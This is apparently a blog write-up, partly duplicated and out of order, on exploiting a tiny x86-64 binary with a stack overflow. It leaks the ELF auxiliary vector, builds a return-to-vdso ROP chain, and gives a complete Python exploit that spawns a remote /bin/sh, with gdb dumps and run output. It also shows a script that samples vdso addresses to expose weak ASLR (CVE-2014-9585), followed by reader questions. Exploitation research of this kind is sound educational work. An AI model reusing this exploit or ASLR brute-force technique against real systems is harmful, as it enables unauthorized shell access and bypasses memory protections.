This post is about exploiting a minimal binary without SigReturn Oriented Programming (SROP). Below is demo code, thanks to my friend Zubin for bringing up this problem.
As observed, the saved RIP is overwritten with 0x4141414141414141. After the saved RIP resides the argc. In this case argc with value 0x1 is being overwritten by new line. After argc is the argv array terminated by NULL. argv[0] points to program name. Then follows the env array of pointers. What comes after env is the interesting part, we have ELF Auxiliary Vectors. Auxiliary Vector has lot of information including a few pointers. This is what it looks like:
Triggering Information Leak
[*] First send enough bytes to overwrite the RIP to call sys_read
[*] Send one byte of data ie only a new line. This will set RAX = 0x1 , which is syscall number for write
[*] RDI will still point to stdin, RSI is a pointer in stack and RDX = 1024
[*] Trigger a syscall. Since stdin descriptor is not read-only and points to same character device as stdout, we can actually write into it
[*] This will leak 1024 bytes of stack data including the ELF Auxiliary Vector
ELF Auxiliary Vector is nothing but key value pairs. AT_RANDOM is pointer into the stack area, which is immediately after the vector table. This could be reliably used to compute the address of read buffer since the offset is known. So from the leaked ELF Auxiliary Vector, base address of vdso and address of read buffer could be found. Now lets chain a ROP payload from vdso
return-to-vdso
vdso could be dumped and searched upon for gadgets.
Set EDX = 0
VDSO Address Bruteforce
Also, VDSO address is not very random. One can brute force its base address even in 64 bit.
The VDSO entropy issue is assigned CVE-2014-9585. New patch improves ASLR from 11 quality bits to 18 quality bits as per paxtest. Further information below
Bug 89591 - VDSO randomization not very random
oss-sec discussion
Below is the code to show biased bits
section .text global _start jmp _start vuln: sub rsp, 8 mov rax, 0 ; sys_read mov rdi, 0 mov rsi, rsp mov rdx, 1024 syscall add rsp, 8 ret _start: call vuln mov rax, 60 ; sys_exit xor rdi, rdi syscallLets see how I exploited this remotely bypassing ASLR and NX without SROP. This is what the crash looks like supplying "A"*16
(gdb) x/i $rip => 0x40009e: retq (gdb) info registers rax 0x11 17 rbx 0x0 0 rcx 0x40009a 4194458 rdx 0x400 1024 rsi 0x7fffffffe1a0 140737488347552 rdi 0x0 0 rbp 0x0 0x0 rsp 0x7fffffffe1a8 0x7fffffffe1a8 r8 0x0 0 r9 0x0 0 r10 0x0 0 r11 0x206 518 r12 0x0 0 r13 0x0 0 r14 0x0 0 r15 0x0 0 rip 0x40009e 0x40009e eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/100gx $rsp 0x7fffffffe1a8: 0x4141414141414141 0x000000000000000a 0x7fffffffe1b8: 0x00007fffffffe484 0x0000000000000000 0x7fffffffe1c8: 0x00007fffffffe498 0x00007fffffffe4a3 0x7fffffffe1d8: 0x00007fffffffe4b4 0x00007fffffffe4d3 0x7fffffffe1e8: 0x00007fffffffe508 0x00007fffffffe51f 0x7fffffffe1f8: 0x00007fffffffe533 0x00007fffffffe543 0x7fffffffe208: 0x00007fffffffe554 0x00007fffffffe562 0x7fffffffe218: 0x00007fffffffe57a 0x00007fffffffe58c 0x7fffffffe228: 0x00007fffffffe5c0 0x00007fffffffe5e1 0x7fffffffe238: 0x00007fffffffe5ee 0x00007fffffffec8a 0x7fffffffe248: 0x00007fffffffecba 0x00007fffffffeccb 0x7fffffffe258: 0x00007fffffffed19 0x00007fffffffed25 0x7fffffffe268: 0x00007fffffffed3b 0x00007fffffffed58 0x7fffffffe278: 0x00007fffffffedbf 0x00007fffffffedce 0x7fffffffe288: 0x00007fffffffede0 0x00007fffffffedf2 0x7fffffffe298: 0x00007fffffffee06 0x00007fffffffee17 0x7fffffffe2a8: 0x00007fffffffee2e 0x00007fffffffee43 0x7fffffffe2b8: 0x00007fffffffee4c 0x00007fffffffee5d 0x7fffffffe2c8: 0x00007fffffffee74 0x00007fffffffee7c 0x7fffffffe2d8: 0x00007fffffffee8f 0x00007fffffffee9e 0x7fffffffe2e8: 0x00007fffffffeeca 0x00007fffffffeeda 0x7fffffffe2f8: 0x00007fffffffef3c 0x00007fffffffef5f 0x7fffffffe308: 0x00007fffffffef6c 0x00007fffffffef77 0x7fffffffe318: 0x00007fffffffef96 0x00007fffffffefcb 0x7fffffffe328: 0x0000000000000000 0x0000000000000021 0x7fffffffe338: 0x00007ffff7ffd000 0x0000000000000010 0x7fffffffe348: 0x000000000fabfbff 0x0000000000000006 0x7fffffffe358: 0x0000000000001000 0x0000000000000011 0x7fffffffe368: 0x0000000000000064 0x0000000000000003 0x7fffffffe378: 0x0000000000400040 0x0000000000000004 0x7fffffffe388: 0x0000000000000038 0x0000000000000005 0x7fffffffe398: 0x0000000000000001 0x0000000000000007 0x7fffffffe3a8: 0x0000000000000000 0x0000000000000008 0x7fffffffe3b8: 0x0000000000000000 0x0000000000000009 0x7fffffffe3c8: 0x0000000000400080 0x000000000000000b 0x7fffffffe3d8: 0x00000000000003e8 0x000000000000000c 0x7fffffffe3e8: 0x00000000000003e8 0x000000000000000d 0x7fffffffe3f8: 0x00000000000003e8 0x000000000000000e 0x7fffffffe408: 0x00000000000003e8 0x0000000000000017 0x7fffffffe418: 0x0000000000000000 0x0000000000000019 0x7fffffffe428: 0x00007fffffffe469 0x000000000000001f 0x7fffffffe438: 0x00007fffffffefe4 0x000000000000000f 0x7fffffffe448: 0x00007fffffffe479 0x0000000000000000 0x7fffffffe458: 0x0000000000000000 0x0000000000000000 0x7fffffffe468: 0xf196161a3b373e00 0x8a1a3b02380b0831 0x7fffffffe478: 0x0034365f3638780b 0x6d6f682f00000000ELF Auxiliary Vectors
As observed, the saved RIP is overwritten with 0x4141414141414141. After the saved RIP resides the argc. In this case argc with value 0x1 is being overwritten by new line. After argc is the argv array terminated by NULL. argv[0] points to program name. Then follows the env array of pointers. What comes after env is the interesting part, we have ELF Auxiliary Vectors. Auxiliary Vector has lot of information including a few pointers. This is what it looks like:
[root@localhost rrobert]# LD_SHOW_AUXV=1 id AT_SYSINFO_EHDR: 0x7fff511fe000 AT_HWCAP: fabfbff AT_PAGESZ: 4096 AT_CLKTCK: 100 AT_PHDR: 0x400040 AT_PHENT: 56 AT_PHNUM: 9 AT_BASE: 0x7f4f98e72000 AT_FLAGS: 0x0 AT_ENTRY: 0x402538 AT_UID: 0 AT_EUID: 0 AT_GID: 0 AT_EGID: 0 AT_SECURE: 0 AT_RANDOM: 0x7fff51193199 AT_EXECFN: /bin/id AT_PLATFORM: x86_64 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023AT_SYSINFO_EHDR is the address of VDSO (Virtual Dynamic Shared Object). VDSO has limited set of gadgets, which could be useful to perform ROP. If AT_SYSINFO_EHDR value could be leaked one could return into vdso.
Triggering Information Leak
[*] First send enough bytes to overwrite the RIP to call sys_read
[*] Send one byte of data ie only a new line. This will set RAX = 0x1 , which is syscall number for write
[*] RDI will still point to stdin, RSI is a pointer in stack and RDX = 1024
[*] Trigger a syscall. Since stdin descriptor is not read-only and points to same character device as stdout, we can actually write into it
[*] This will leak 1024 bytes of stack data including the ELF Auxiliary Vector
ELF Auxiliary Vector is nothing but key value pairs. AT_RANDOM is pointer into the stack area, which is immediately after the vector table. This could be reliably used to compute the address of read buffer since the offset is known. So from the leaked ELF Auxiliary Vector, base address of vdso and address of read buffer could be found. Now lets chain a ROP payload from vdso
return-to-vdso
vdso could be dumped and searched upon for gadgets.
gdb-peda$ vmmap 0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso] gdb-peda$ dumpmem vdso.so 0x00007ffff7ffd000 0x00007ffff7fff000 Dumped 8192 bytes to 'vdso.so' file vdso.so vdso.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0x69c5bc417a94f7f87f08ab2002f9252836ab7aac, strippedThe idea of payload was to make the call execve('/bin/sh',0,0) . Since read buffer address is known, we could place /bin/sh in stack itself. Then we need gadgets to load RAX with syscall number for execve, RDI with pointer to /bin/sh, RSI and RDX set to NULL. Below are the gadgets found in vdso of Fedora 20
Set EDX = 0
xor edx,edx; mov QWORD PTR [rsi+0x8],rax; add rdi,rdx; test r12d,r12d; mov QWORD PTR [rsi],rdi; jne addr; nop DWORD PTR [rax+0x0]; movsxd rdi,r15d; mov eax,0xe4; syscall; add rsp,0x28; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; retPopulate RSI
pop rsi; pop r15; pop rbp; retPopulate RDI
pop rdi; pop rbp; retControl EAX
add eax, dword [rbx] ; retn 0x0005Below is exploit to get remote shell bypassing ASLR and NX:
#!/usr/bin/env python import telnetlib import socket import struct import time ip = '127.0.0.1' port = 3335 # id's of Auxillary Vectors AT_SYSINFO_EHDR = 0x21 AT_HWCAP = 0x10 AT_PAGESZ = 0x06 AT_CLKTCK = 0x11 AT_PHDR = 0x03 AT_PHENT = 0x04 AT_PHNUM = 0x05 AT_BASE = 0x07 AT_FLAGS = 0x08 AT_ENTRY = 0x09 AT_UID = 0x0b AT_EUID = 0x0c AT_GID = 0x0d AT_EGID = 0x0e AT_SECURE = 0x17 AT_RANDOM = 0x19 AT_EXECFN = 0x1f AT_PLATFORM = 0x0f soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) # stage ONE payload = struct.pack("<Q", 0x0068732f6e69622f) # /bin/sh - we will use this during stage TWO payload += struct.pack("<Q", 0x400082) # ret to sys_read payload += struct.pack("<Q", 0x400098) # syscall to sys_write depending on RAX payload += struct.pack("<Q", 0x4141414141414141) # PAD payload += struct.pack("<Q", 0x400082) # ret to sys_read payload += chr(0xa) soc.send(payload) time.sleep(2.0) # write single byte to setup RAX for sys_write soc.send(chr(0xa)) time.sleep(2.0) # read the information leaked which contains Auxillary Vector ENV_AUX_VEC = soc.recv(1024) QWORD_LIST = [] for i in range(0, len(ENV_AUX_VEC), 8): QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0]) start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2)) vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR] print "[*] Base address of VDSO : %s" % hex(vdso_address) offset = 0x2b9 random_address = AUX_VEC_ENTRIES[AT_RANDOM] buffer_address = random_address - 0x2b9 print "[*] Buffer address in stack : %s" % hex(buffer_address) # stage TWO offset_xor_edx = 0x7b0 # xor edx,edx; mov QWORD PTR [rsi+0x8],rax; add rdi,rdx; test r12d,r12d; mov QWORD PTR [rsi],rdi; jne addr; nop DWORD PTR [rax+0x0]; movsxd rdi,r15d; mov eax,0xe4; syscall; add rsp,0x28; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; ret offset_pop_rsi = 0x7dc # pop rsi; pop r15; pop rbp; ret offset_pop_rdi = 0x7de # pop rdi; pop rbp; ret offset_add_eax = 0x600 # add eax, dword [rbx] ; retn 0x0005 offset_eax_val = 0x672 # 0x3b for sys_execve syscall = 0x400098 payload = struct.pack("<Q", 0x4141414141414141) # PAD payload += struct.pack("<Q", vdso_address + offset_xor_edx) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", vdso_address + offset_eax_val) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", vdso_address + offset_add_eax) # this will unalign the stack by 5 bytes payload += struct.pack("<Q", vdso_address + offset_pop_rdi) payload += chr(0x00) # PAD payload += struct.pack("<I", 0x00000000) # PAD payload += struct.pack("<Q", buffer_address) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", vdso_address + offset_pop_rsi) payload += struct.pack("<Q", 0x0000000000000000) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", 0x4343434343434343) payload += struct.pack("<Q", syscall) # execve("/bin/sh", 0, 0) payload += chr(0xa) soc.send(payload) s = telnetlib.Telnet() s.sock = soc s.interact()
[renorobert@localhost aux_vec]$ nc -vvv -e ./chall -l -p 3335 Listening on any address 3335 (directv-soft) Connection from 127.0.0.1:39658 Passing control to the specified program [renorobert@localhost aux_vec]$ python sploit_aux_vec.py [*] Base address of VDSO : 0x7fff25ded000 [*] Buffer address in stack : 0x7fff25cba1c0 id uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [renorobert@localhost aux_vec]$ uname -r 3.11.10-301.fc20.x86_64VDSO would change across versions, so availability of gadgets may also differ.
VDSO Address Bruteforce
Also, VDSO address is not very random. One can brute force its base address even in 64 bit.
[renorobert@localhost aux_vec]$ ldd /bin/ls linux-vdso.so.1 => (0x00007fffac97e000) [renorobert@localhost aux_vec]$ ldd /bin/ls linux-vdso.so.1 => (0x00007fffe2d38000) [renorobert@localhost aux_vec]$ ldd /bin/ls linux-vdso.so.1 => (0x00007fffe0de7000) [renorobert@localhost aux_vec]$ ldd /bin/ls linux-vdso.so.1 => (0x00007fff43926000) [renorobert@localhost aux_vec]$ ldd /bin/ls linux-vdso.so.1 => (0x00007fff009fe000) [renorobert@localhost aux_vec]$ while true; do ldd /bin/ls; done | grep 0x00007fff009fe000 linux-vdso.so.1 => (0x00007fff009fe000) linux-vdso.so.1 => (0x00007fff009fe000) linux-vdso.so.1 => (0x00007fff009fe000) linux-vdso.so.1 => (0x00007fff009fe000) linux-vdso.so.1 => (0x00007fff009fe000) [renorobert@localhost aux_vec]$ uname -r 3.11.10-301.fc20.x86_64Update - CVE-2014-9585
The VDSO entropy issue is assigned CVE-2014-9585. New patch improves ASLR from 11 quality bits to 18 quality bits as per paxtest. Further information below
Bug 89591 - VDSO randomization not very random
oss-sec discussion
Below is the code to show biased bits
#!/usr/bin/env python import subprocess import re bentropy = {} size = 64 for _ in range(size): bentropy[_] = {0:0, 1:0} NSAMPLE = 500 print "[*] Sampling %d addresses" %(NSAMPLE) def get_vdso_address(NSAMPLE): for _ in range(NSAMPLE): l = subprocess.check_output(["ldd", "/bin/ls"]) vdso_entry = l.split(chr(0xa))[0] vdso_address = re.search("0x([A-Fa-f\d]{16})", vdso_entry) vdso_address = vdso_address.groups()[0] vdso_address = int(vdso_address, 16) yield vdso_address for address in get_vdso_address(NSAMPLE): for index in range(size): bit = (address >> index) & 1 key = size - index - 1 bentropy[key][bit] += 1 probable_address = 0x0 for key, value in bentropy.items(): if value[0] > value[1]: probable_address = (probable_address << 1) else: probable_address = (probable_address << 1) | 1 print "%02d ['0':%05d, '1':%05d]" %(key, value[0], value[1]) print "[*] Probable address to use : %s" % hex(probable_address)
renorobert@ubuntu:~/vdso$ python vdso.py [*] Sampling 500 addresses 00 ['0':00500, '1':00000] 01 ['0':00500, '1':00000] 02 ['0':00500, '1':00000] 03 ['0':00500, '1':00000] 04 ['0':00500, '1':00000] 05 ['0':00500, '1':00000] 06 ['0':00500, '1':00000] 07 ['0':00500, '1':00000] 08 ['0':00500, '1':00000] 09 ['0':00500, '1':00000] 10 ['0':00500, '1':00000] 11 ['0':00500, '1':00000] 12 ['0':00500, '1':00000] 13 ['0':00500, '1':00000] 14 ['0':00500, '1':00000] 15 ['0':00500, '1':00000] 16 ['0':00500, '1':00000] 17 ['0':00000, '1':00500] 18 ['0':00000, '1':00500] 19 ['0':00000, '1':00500] 20 ['0':00000, '1':00500] 21 ['0':00000, '1':00500] 22 ['0':00000, '1':00500] 23 ['0':00000, '1':00500] 24 ['0':00002, '1':00498] 25 ['0':00000, '1':00500] 26 ['0':00004, '1':00496] 27 ['0':00003, '1':00497] 28 ['0':00003, '1':00497] 29 ['0':00003, '1':00497] 30 ['0':00005, '1':00495] 31 ['0':00005, '1':00495] 32 ['0':00266, '1':00234] 33 ['0':00241, '1':00259] 34 ['0':00250, '1':00250] 35 ['0':00274, '1':00226] 36 ['0':00228, '1':00272] 37 ['0':00264, '1':00236] 38 ['0':00249, '1':00251] 39 ['0':00266, '1':00234] 40 ['0':00238, '1':00262] 41 ['0':00259, '1':00241] 42 ['0':00260, '1':00240] 43 ['0':00060, '1':00440] 44 ['0':00091, '1':00409] 45 ['0':00100, '1':00400] 46 ['0':00121, '1':00379] 47 ['0':00123, '1':00377] 48 ['0':00118, '1':00382] 49 ['0':00128, '1':00372] 50 ['0':00126, '1':00374] 51 ['0':00371, '1':00129] 52 ['0':00500, '1':00000] 53 ['0':00500, '1':00000] 54 ['0':00500, '1':00000] 55 ['0':00500, '1':00000] 56 ['0':00500, '1':00000] 57 ['0':00500, '1':00000] 58 ['0':00500, '1':00000] 59 ['0':00500, '1':00000] 60 ['0':00500, '1':00000] 61 ['0':00500, '1':00000] 62 ['0':00500, '1':00000] 63 ['0':00500, '1':00000] [*] Probable address to use : 0x7fff6a9fe000Only bits 32 to 42 [11 bits] are properly randomized and rest are biased leading to bruteforce
where do you have the address of sys_read from?
ReplyDeletesection "Triggering Information Leak" is not very clear.....very confusing, can you rephrase a bit?
Thanks!
read syscall is already part of the code. You could reuse that.
ReplyDeleteRegarding information leak, there is no write syscall in the executable. We need to find a way to call sys_write to dump the stack. How can we? syscall number for write is 0x1, also read syscall returns the count of bytes it reads.
So by sending 1 byte data, read() will return 1 ie RAX is set to 1. Now if syscall gadget is used, write() is called with same argument as read().
write(0, buf, 1024)
This will leak 1024 bytes of stack memory.
Hi, Could you please to provide the bianry ?
ReplyDeleteThank you so much !
Why the offset of AT_RANDOM and read buffer is fixed? How offset 0x2b9 calculated?
ReplyDelete"AT_RANDOM is pointer into the stack area, which is immediately after the vector table. This could be reliably used to compute the address of read buffer since the offset is known. So from the leaked ELF Auxiliary Vector, base address of vdso and address of read buffer could be found. "
Very confusing, Thanks!